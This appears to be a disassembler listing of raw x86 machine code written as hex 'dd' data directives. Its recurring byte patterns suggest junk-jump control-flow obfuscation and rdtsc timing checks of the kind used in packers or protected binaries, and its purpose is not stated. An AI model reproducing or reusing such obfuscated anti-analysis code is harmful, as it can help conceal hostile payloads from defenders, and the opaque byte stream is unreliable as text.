		dd 81042444h, 18042444h, 40000000h, 0E3CEC350h,	0FD5A3B0h
		dd 687h, 35958900h, 0E907E935h,	0Eh, 0A6275BB6h, 0E3F8E7D7h
		dd 1ACD6BBAh, 8B5006F3h, 243489FBh, 0FFD88B66h,	0ECD785B5h
		dd 0FFFE8B07h, 0E9302D95h, 0C0BB6607h, 0C9BD83D4h, 7E91Eh
		dd 89840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0BD85B8C3h, 0C4F07D7Eh, 0EB81C6B7h
		dd 0B74F0F7h, 34499D89h, 0E99607E9h, 0Bh, 0DB42AA63h, 60289700h
		dd 50034531h, 0F157BF57h, 965B0711h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 27C35646h, 6C14CB40h, 2800F91h
		dd 8B000000h, 0AE8DAh, 0C57E0000h, 4CD7550Ch, 28CEBFF6h
		dd 2C759D8Bh, 0FF5B07E9h, 0ECD785B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 95FFA9C4h, 7E91F9Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 19C35646h, 89E6C86Fh,	0B5FF73FDh, 7ECD785h
		dd 13E9h, 14A9D300h, 0A0FE583Ah, 91040CDEh, 0FF107D5Eh
		dd 0CD36B090h, 0BF18589h, 95FF07E9h, 7E90139h, 15890Fh
		dd 10E90000h, 24000000h, 12CFA0D5h, 0B2206400h,	81E6505Dh
		dd 8387ED72h, 0E929CDBDh, 840F0207h, 62h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 54C35242h, 0BE9h
		dd 79262F00h, 0E72A8FB7h, 4F0CD715h, 875858Bh, 6A07E9h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 76BBB4C3h, 6A45D1Eh,	1D65BD8Bh, 0C607E9h, 0D4FEBB00h
		dd 85C7716Eh, 7E924ADh,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 3CC35040h
		dd 0CE5BD8Bh, 12E907E9h, 1E000000h, 0D3014B8Ah,	6D98EE8Ah
		dd 243DCD34h, 82D050B7h, 0FB8B66E0h, 0FFF38EE9h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 2FA86AE9h, 8B931748h, 0E902619Dh, 6AC18B07h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 8D99C352h, 0E9086185h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0AA77865Bh
		dd 0EFC1558Eh, 0E6D2BF66h, 0C0BF6690h, 0BB6650C8h, 6A906DF9h
		dd 4BBB6600h, 6A006A2Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0A2EAC355h,	0C6C8CF36h
		dd 59BD8BBEh, 8D07E91Dh, 0EE1F3785h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 148EBBECh
		dd 0F54A361h, 0C81h, 6860F00h, 29000000h, 0E9003595h, 5C08307h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2BC35343h
		dd 641B84A4h, 0BF0F5A9Dh, 318D89F9h, 9007E913h,	9050D98Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0CEC35646h
		dd 68400E4Dh, 0F30216Ah, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 6A3BC3h, 0CE9h, 89632B00h
		dd 0CA067250h, 4EBD957Ah, 0B995FFCFh, 6A07E90Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 773FC357h, 63F9BB9Dh, 2A719D89h, 9D8B07E9h, 7E90261h
		dd 0D72C8D8Dh, 6A07ECh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 50935FC3h, 77204F1Ch, 0F9E24A94h
		dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 893C76C3h, 33F1AC7Bh, 0F5C5ED78h,	1B69BD83h
		dd 0F0107E9h, 9885h, 0B5295200h, 7E92AE5h, 6A026A5Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 89CFC350h, 0E90F558Dh, 0F509007h, 0A83h, 0F38B6000h
		dd 850Fh, 90610000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 43C35343h, 0D949A581h, 0CF9004ADh, 81665602h
		dd 5F4169CBh, 2CD95FFh,	6A07E9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 34C1F8C3h, 81D1B081h
		dd 1F0002C3h, 0EE6E916h, 0E80000h, 5D000000h, 1F41ED81h
		dd 6A07EEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 86B0C0C3h, 0D7B2A24Eh, 7E9h, 0C0742900h
		dd 69B8FE20h, 0B406858Dh, 6A07ECh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 8DE00BC3h, 0E9339018h
		dd 90F88B66h, 39CB49BFh, 20BF506Bh, 907866F6h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 91C35747h, 6850F60h
		dd 81000000h, 0D4FBABF1h, 7F3EBE3Ch, 64612D71h,	35FFh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 24544AC3h, 5F52816Ch, 258964h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0D419C350h, 51CB2B9Fh, 8589CA52h,	7E92C8Dh
		dd 0F9D85FFh, 0B58907E9h, 7E923D9h, 6AFF6Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 679FC0C3h
		dd 90E63183h, 0D98B6671h, 0F11B5FFh, 6A07E9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 2B047EC3h
		dd 0DE8BABEh, 0E8000000h, 93537775h, 1388F3C4h,	0E5AA5C95h
		dd 263EF381h, 895F6F10h, 0E9099D8Dh, 3D95FF07h,	0E907E923h
		dd 14Bh, 8C99589h, 858907E9h, 7E90909h,	9D0900B0h, 7E90FA1h
		dd 816670E6h, 0E417FADBh, 6E971h, 0C3620000h, 8908325Bh
		dd 68D0Fh, 0BD230000h, 7E91AE9h, 830F613Ch, 10Fh, 8C98589h
		dd 6E807E9h, 0DF000000h, 796EEBA7h, 299D8B2Fh, 5F07E935h
		dd 0BFC8B60Fh, 1629AD29h, 6BAh,	0F88B6600h, 9589C18Bh
		dd 7E930B9h, 8004E8C1h,	0F76666EBh, 2BFE8AE2h, 800F56C8h
		dd 6, 195DBD23h, 8B5F07E9h, 3DBD2BD1h, 0E907E912h, 0B7h
		dd 0D8F38160h, 662598F3h, 8B61FE8Bh, 4C4C4485h,	8DB5295Fh
		dd 8307E91Fh, 8B6007C0h, 0E925A58Dh, 4DB96607h,	0BB66619Ch
		dd 0C0837E70h, 0FC606000h, 810Fh, 0B2610000h, 850F6196h
		dd 6, 3039BD8Bh, 0D03B07E9h, 0E830Fh, 85890000h, 7E91CEDh
		dd 5EE9h, 0FEB70F00h, 0FFFF8D8Bh, 13E8FFFFh, 0E4000000h
		dd 53170830h, 4365A233h, 0ECE49AD7h, 0DD7C1913h, 0BD093F1Bh
		dd 7E914FDh, 1E1835Bh, 2D840Fh,	0CE90000h, 54000000h, 59DEF793h
		dd 0BC6D50AAh, 8385E439h, 0FFFFFFA5h, 9589FEFFh, 7E91391h
		dd 4C449589h, 0BF665F4Ch, 0E9C37Dh, 8D000000h, 0ED9B8AB5h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0CDF5F7B0h, 0D10757F4h, 45BB3C80h, 6A4F2CA1h
		dd 13E900h, 983F0000h, 1784A024h, 396437EFh, 2AB12CFCh
		dd 5E555DA9h, 0FFBF6699h, 3195FFCDh, 6A07E90Ch,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 4265C356h, 2E42EFFCh, 96952D5Ah, 4DB1DB81h, 0D4B959A7h
		dd 0F000010h, 38Eh, 0F9BF0F00h,	33FCE183h, 0E902E19Dh
		dd 0BB66FC07h, 0B80836h, 0E8000000h, 9,	9E241E3Fh, 35C364B1h
		dd 68F0F77h, 81000000h,	57A717EBh, 0BA5B19h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 6B2C356h,	75F0340Ah, 0E66725BBh, 5B58908h
		dd 0AD07E931h, 0E8D1C233h, 0E983D003h, 89F47504h, 0E91A0985h
		dd 174BBF07h, 880D048Fh, 0F000000h, 489h, 88BF6600h, 0D958BB4h
		dd 6A07E932h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0E944C353h, 10h, 0E0707B7Dh, 0C04B6BB8h
		dd 0B1B52BD1h, 0DF749EF1h, 22E58D8Bh, 6A07E9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0FFC980C3h, 64E25B53h, 8B5009B3h, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	7E8h, 6EC000h, 94CA40A0h, 1611B589h
		dd 0E95F07E9h, 0Ah, 87F732D8h, 1D4981FFh, 0BD835CDCh, 7E91C2Dh
		dd 97840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 8C70C352h, 8D891CA0h
		dd 7E902C5h, 5E8h, 0EB400700h, 9D897301h, 7E92FC5h, 0B85Bh
		dd 1570000h, 0E918499Dh, 8D8D5F07h, 7E94D5Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0BCC35242h, 422C9ADh
		dd 0FECA225Fh, 0FB8B6622h, 6AE1FFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 6063B4C3h
		dd 0F0DF04A2h, 0BD83B576h, 7E922B1h, 0D9840F00h
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 364AC357h, 202EC8A7h, 8B463F1Ch
		dd 0E912E99Dh, 399D2907h, 8307E924h, 0E922B1BDh, 840F0107h
		dd 4B7h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 19h,	92C35646h, 723DBB51h, 8E960F1h,	41000000h, 3684110Ch
		dd 66D50029h, 50D3D381h, 0F88B6661h, 22B1BD83h,	0F0307E9h
		dd 43C86h, 32BF6600h, 8870FE2h,	51000000h, 0B768CF81h
		dd 605B523Dh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	0B0C35141h, 9AEA8A67h, 0E8B6B379h, 9, 3B2CDE40h
		dd 31958699h, 619D8960h, 5F07E930h, 0E9D98C66h,	0Dh, 0FA8EC9E1h
		dd 2FFBA440h, 0AE71E3C5h, 4E1807Eh, 0C90ADC8Ah,	17E840Fh
		dd 0B5890000h, 7E91661h, 0C55858Bh, 9D0B07E9h, 7E91B19h
		dd 1CE98533h, 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0F49CA6C3h, 38C0Fh, 0BF0F0000h
		dd 0D8B70FF8h, 0FB8B6650h, 0E9240489h, 0Ah, 0FFD1AC5Bh
		dd 21D3A6EBh, 6A83BFh, 81BD8Bh,	4E807E9h, 0FF000000h, 0E8001F03h
		dd 0Eh,	0C4165A41h, 0CC5F8E54h,	0BF2B9308h, 0FE95AADh
		dd 26000000h, 3F5E839Eh, 0E9A13368h, 8AB8C973h,	505F50C5h
		dd 0FEBB5250h, 0F44D180h, 800F31h, 5A000000h, 24448B58h
		dd 0C00EBF04h, 8B153Eh,	7E8h, 8DCECA00h, 0AD062F26h, 5BDE8B50h
		dd 2444895Bh, 58D88A04h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 18h, 1AC35343h, 0EBEE2F9Eh, 0EF5BD89h, 5E907E9h
		dd 70000000h, 93A498BFh, 2D995FFh, 6A07E9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 35BEACC3h
		dd 16E98A84h, 12C58D01h, 0BF6607E9h, 8589D917h,	7ECD785h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 15C35545h
		dd 66F5D617h, 918D312Eh, 0E907E920h, 1E8h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0CC35343h, 0E7C6F35Ah
		dd 7B1EEC61h, 0D77D858Bh, 6A07ECh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 9D8B64C3h, 7E91BB9h
		dd 1800C7h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 180424h, 57470000h, 1A4352C3h, 8E9F989h, 0EB000000h
		dd 0C65A11EAh, 8B5F61B8h, 0EC8A60D9h, 3840Fh, 0BF0F0000h
		dd 0B58B61DAh, 7ECD781h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 7FC35646h, 6651B3E3h,	8B5FD98Bh, 0E9185985h
		dd 689F507h, 98A0Fh, 870F0000h,	3, 8BD9BF0Fh, 0E90C5585h
		dd 0B19D8B07h, 5007E92Eh, 0CE9h, 0BC11F400h, 6864C8FDh
		dd 0B20230FEh, 46895F77h, 0A19D3104h, 5007E923h, 3489DE8Bh
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 947905FFh, 1FB37044h, 0D77DB5FFh, 8B6607ECh
		dd 9C9C68FBh, 34815837h, 289F6324h, 14E958h, 47A50000h
		dd 47DE7DD4h, 541A94C7h, 0CFE29CF4h, 40177FC4h,	858D8EDBh
		dd 7ECD785h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0F6C35646h, 1ABFE2ACh, 6675BA8Dh, 9D03F98Bh, 7E908E1h
		dd 60525050h, 1F01BA66h, 8D0Fh,	0F610000h, 0DE931h, 7DA80000h
		dd 0F3C1F14Ah, 44EEBEF7h, 5A1ECB32h, 24048958h,	0AE8h
		dd 0B9D2D800h, 4E6AD53h, 8174CE53h, 0D2E8C5F7h,	95FF5F2Ch
		dd 7E902D9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0BDC35747h, 0FFCB8166h,	0A4EF80A0h, 6D9D2361h
		dd 0C707E92Eh, 0E922B185h, 307h, 85BD8300h, 7ECD7h, 6F840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0F897D0C3h, 0E87D07B3h, 0Bh, 20CE2733h, 4D2C5FCh
		dd 0E961E00Fh, 7, 1298BDE7h, 5F3F4923h,	1AE58D89h, 41E907E9h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 5A5BC353h, 0BACFD848h,	8B6662BFh
		dd 0C3050FBh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 6AFAB70Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 8AB2C353h, 92777E77h
		dd 28E679C7h, 263DBD01h, 0BD8307E9h, 7E922B1h, 62850F03h
		dd 0E9000004h, 14h, 0D4C9D748h,	0C737484Fh, 73231C84h
		dd 2059446Bh, 0E932E291h, 0D785BD83h, 0F0007ECh, 43C84h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 54BB6279h, 67EC9877h, 0FE8AE3C6h, 0EE8h
		dd 90BE6100h, 79425039h, 5CF1DFCBh, 231A5826h, 0E919A99Dh
		dd 9D095B07h, 7E91EE9h,	0D785B5FFh, 95FF07ECh, 7E91349h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 48C35040h
		dd 8BBB54DFh, 0ECD779B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0AFFE015Ch
		dd 0B98D293Fh, 0C707E90Eh, 1000106h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 6096BAD8h
		dd 58565250h, 37B1310Fh, 0F08B585Ah, 0BE95061h,	0E0000000h
		dd 0DD91559Eh, 0C310915Eh, 0BB961B01h, 555E8599h, 99D8B60h
		dd 0F507E916h, 85B5FF61h, 0E907ECD7h, 0Eh, 919B619Ch, 55FFBBABh
		dd 0E169E1F8h, 95FFECA8h, 7E91AB1h, 79B58BF8h, 6A07ECD7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8B04C350h, 0E9244985h, 2620BF07h,	868964F1h
		dd 0C4h, 320D958Bh, 6A07E9h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 190424h, 53430000h, 6A0D35C3h, 6684D6D4h
		dd 835C04BBh, 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 226970C3h, 64EB8166h, 205089ACh
		dd 0ECA1858Dh, 6A07ECh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 8B6012C3h, 0E91D29B5h, 6E907h, 24310000h
		dd 30D3876Bh, 0B8868961h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0BC6DC352h
		dd 8985E439h, 0E92615B5h, 0D8B70F07h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 5B9946C3h, 0C91B1700h, 858930F0h, 7E908E1h, 0D785B5FFh
		dd 6A07ECh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0CD444FC3h, 91B50B4Dh, 6E9h, 0C0AD5D00h
		dd 0FF9A42E3h, 0E902CD95h, 48F0F07h, 66000000h,	0F6002BFh
		dd 48Ch, 5B515700h, 0B750965Bh,	9D019690h, 7E9092Dh, 0D785B5FFh
		dd 6A07ECh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 80C20BC3h, 0A9D3EE87h, 8D893A14h, 7E92E4Dh, 2D95FFFCh
		dd 6A07E930h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0B03DC356h, 1EC9BD83h,	0F0007E9h
		dd 4484h, 8E0F6000h, 4,	7E1EBB66h, 6800Fh, 95890000h, 7E92971h
		dd 12E85061h, 0FB000000h, 7C4AB636h, 2F93EC64h,	3764654Dh
		dd 13836943h, 8B6653A6h, 895F5BDAh, 830F2434h, 5, 0B2F78166h
		dd 85B5FF8Dh, 6A07ECD7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0CC30C356h,	7FEE3B8Bh
		dd 0BFD11511h, 4D2A125Ch, 0EE19589h, 95FF07E9h,	7E91F9Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0F2C35343h
		dd 85B5FFB4h, 6A07ECD7h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 18DC351h, 0E9210595h
		dd 0DDBD3307h, 0FF07E90Fh, 0E9013995h, 0BE907h,	0E1D30000h
		dd 2EE53CF2h, 9FCFE33Bh, 0CDBD837Ch, 207E929h, 33840Fh
		dd 81660000h, 8BD07BD7h, 0E9087585h, 13E907h, 3990000h
		dd 73BA1B92h, 8DC33C50h, 8F06F149h, 7B66E803h, 0C683h
		dd 0E58D8960h, 6607E917h, 59A4EE81h, 0AD85C761h, 7E924h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0BB11C357h, 4DA6BDFDh,	60F98B66h
		dd 1D299D8Bh, 8D8907E9h, 7E91BFDh, 0F232E961h, 8BF8FFFFh
		dd 0C59D8BC1h, 6007E908h, 0E3D8D89h, 61FC07E9h,	861858Dh
		dd 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0A75A28C3h, 88602FCh, 8A0F509Dh, 13h, 6E95250h
		dd 9000000h, 499ADA14h,	60310F00h, 89585A61h, 890F2404h
		dd 6, 0A8F7F781h, 6A7ABEh, 6A006AFCh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0D843C355h
		dd 8B0824C0h, 0E90935BDh, 2E858D07h, 6A07EE30h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 688CC355h, 68E0FF6h,	8B000000h, 0E908F5BDh, 5C08307h
		dd 6850Fh, 0BD890000h, 7E91AC5h, 0BF665090h, 505F0A3Ah
		dd 0DE9h, 0AA478B00h, 0AB5AD43Eh, 66E6DF4Ah, 6A903B99h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 8036C357h, 4725C1EBh, 0F140E8BBh,	0CD85891Ah
		dd 6A07E90Dh, 29006A00h, 0E930699Dh, 0B995FF07h, 0B707E90Fh
		dd 2C8D8D90h, 6A07ECD7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0A89DC357h,	0EE998h
		dd 41020000h, 0F13D88CDh, 8B4198D2h, 4CA2581Eh,	0BD8BD1FFh
		dd 7E90155h, 0FE9h, 3C356600h, 87162FF6h, 0CB253DD4h, 0AE7D64FBh
		dd 1B69BD83h, 0F0107E9h, 9785h,	4995BF00h, 0BD8B68A0h
		dd 7E91385h, 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0C812C7C3h, 0FCE6F253h, 0BF66FA8Bh
		dd 0BB50F55Fh, 5E11EABEh, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0B754C353h
		dd 85CA5300h, 0D56DCBB7h, 0D3FF9BBBh, 0CD95FF07h, 6A07E902h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 689AC353h, 0B2ADF81h, 0CF8138AFh,	30812B66h
		dd 0DF1E9h, 0E800h, 815D0000h, 0EE3038EDh, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 99B52929h, 8D07E91Fh, 0ECB40685h, 9D9D3307h,	5007E922h
		dd 53565250h, 310F5F5Fh, 4187BF66h, 489585Ah, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0ED632F89h, 81983F4Eh, 466E58C3h, 0F535319h,	8Dh, 645B5F00h
		dd 35FFh, 64F50000h, 2589h, 9D8B0000h, 7E92541h, 0F9D85FFh
		dd 6A07E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8B0FFAC3h, 6, 16E19531h, 0FF6A07E9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CCC35646h, 0FE96022h
		dd 78000000h, 0A72B5B7Ah, 39391B67h, 0F3F9ABBFh, 0FF619AAFh
		dd 0E91A89B5h, 0D8BF0F07h, 233D95FFh, 3DE907E9h, 89000001h
		dd 0E90DED85h, 6600B007h, 70E6FE8Bh, 8E9h, 0ED646B00h
		dd 4B1FCB39h, 8971E444h, 0E902A9BDh, 0F613C07h,	11383h
		dd 9E900h, 0C1180000h, 454407D4h, 0F023F78h, 0B89h, 58B0F00h
		dd 66000000h, 0D70BDF81h, 66C8B60Fh, 0BAF393BFh, 6, 15799D89h
		dd 0C18B07E9h, 1899D8Bh, 0E8C107E9h, 859D8B04h,	8007E934h
		dd 0F7668FD3h, 759D89E2h, 2B07E90Ch, 6870FC8h, 1000000h
		dd 0E9088195h, 0E9D18B07h, 0Ah,	9CBF54C3h, 4DAD58DFh, 0A1E91CEBh
		dd 89000000h, 0E9208585h, 50858B07h, 8B47554Ch,	0E908E19Dh
		dd 7C08307h, 15E5BD8Bh,	0C08307E9h, 11E900h, 0CCB50000h
		dd 27CF5B1Eh, 0EC42F5EAh, 74D173F1h, 3BF78B08h,	33830FD0h
		dd 0E8000000h, 14h, 6D382470h, 224C83D4h, 20C07429h, 0BA69B8FEh
		dd 0C0335989h, 68B0Fh, 0BD8B0000h, 7E90BE9h, 3AE95Fh, 8B520000h
		dd 0E916419Dh, 8D8B5F07h, 0FFFFFFFFh, 8197BB66h, 0F01E183h
		dd 1F84h, 0E59D8B00h, 8307E919h, 0FFFFFFA5h, 89F9FEFFh
		dd 554C5095h, 899D8B47h, 0E907E92Bh, 0
aNMaJ		db 'µ^¬í',7,'j',0
		dd 0C3195FFh, 0BD8907E9h, 7E91841h, 14E9h, 5AFD0600h, 0A568B15Ah
		dd 0DB39DDBAh, 0EAFEC251h, 8486D6B6h, 0F23B9ADh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 3CD488C3h, 7DDD9667h, 0E183AE2Dh, 7E8FCh, 0AC530000h
		dd 5C0D3FA9h, 0C9B589E2h, 5F07E92Ah, 53006AFCh,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 5DA92AB1h
		dd 83995E55h, 98CB8043h, 0B8h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0BBE0E91Ch
		dd 57F2EAD2h, 3219BD29h, 0BA5B07E9h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 12C35646h
		dd 0B6A0A626h, 0FB9A9C0Ch, 0C233AD75h, 0D003E8D1h, 7504E983h
		dd 9D89F5F4h, 7E92DD5h,	0B819D8Bh, 880D07E9h, 31000000h
		dd 0E917ED85h, 0D958B07h, 6A07E932h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 43A9C356h
		dd 280FBCFBh, 8B150E88h, 0E922E58Dh, 0C28B5007h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 42F1C350h
		dd 0E9EE9D90h, 0AFB2EA12h, 6AFB8Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 6FE686C3h
		dd 6EF0E75Fh, 150D9D8Bh, 0BD8307E9h, 7E91C2Dh, 23840F00h
		dd 8B000000h, 0E90711BDh, 0B807h, 95010000h, 7E93591h
		dd 4D5A8D8Dh, 0BD8B07E9h, 7E90235h, 0BF66E1FFh,	0BD83616Bh
		dd 7E922B1h, 0E1840F00h, 80000004h, 0BD8374F3h,	7E922B1h
		dd 0EC840F01h, 52000004h, 7425C381h, 835F7A6Fh,	0E922B1BDh
		dd 860F0307h, 4A1h, 10E9h, 60092500h, 2A2811C8h, 2926DF8Ah
		dd 761405D0h, 6A6021h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F880BDC3h, 6AD98C66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0CB17C357h, 75ADB00Dh, 23C57A9Ah, 0E919B19Dh, 4E18007h
		dd 99D8D89h, 0C90A07E9h, 192840Fh, 890F0000h, 0
		dd 0C55858Bh, 6A07E9h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 81A15BC3h, 33DFBF0Fh, 0E91CE985h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 1D2181A7h, 81516F64h, 46A9E4DBh,	0E8505B4Dh
		dd 0Bh,	117C2D4Bh, 0C7E00554h, 0E90F6997h, 6, 0EE3D7FEAh
		dd 895F1C49h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 96B57EC3h, 0A82E8053h, 6A49ACF3h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0F96DA781h, 29D1F781h, 4E80957h,	0FF000000h
		dd 0E8001F03h, 0Fh, 0B6D9700Ah,	803861FBh, 6774E65Dh, 0E88589DEh
		dd 14h,	0B1A86CDDh, 0BE761B4Eh,	8DB4ADFh, 8909DC58h, 0E468BA8Eh
		dd 310F5250h, 5B5F585Ah, 8B525050h, 52310FDEh, 5BF98B66h
		dd 448B585Ah, 0A4B30424h, 0F8BB008Bh, 89763DD2h, 58042444h
		dd 0FFD98B66h, 0E902D995h, 56006A07h, 3E8h, 0C35E2000h
